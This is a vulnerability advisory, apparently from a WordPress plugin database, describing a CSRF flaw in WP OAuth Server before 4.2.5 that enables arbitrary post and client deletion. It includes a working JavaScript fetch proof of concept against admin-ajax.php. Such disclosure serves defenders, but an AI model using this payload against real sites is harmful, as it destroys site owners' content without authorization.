WordPress Plugin Vulnerabilities
WP OAuth Server < 4.2.5 - Arbitrary Post Deletion via CSRF
Description
The plugin does not have CSRF check when deleting a client, and does not ensure that the object to be deleted is actually a client, which could allow attackers to make a logged in admin delete arbitrary client and post via a CSRF attack.
Proof of Concept
fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: new Headers({ 'Content-Type': 'application/x-www-form-urlencoded', }), body: 'action=wo_remove_client&data=1', redirect: 'follow' }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-02-21 (about 9 months ago)
Added
2023-02-21 (about 9 months ago)
Last Updated
2023-02-21 (about 9 months ago)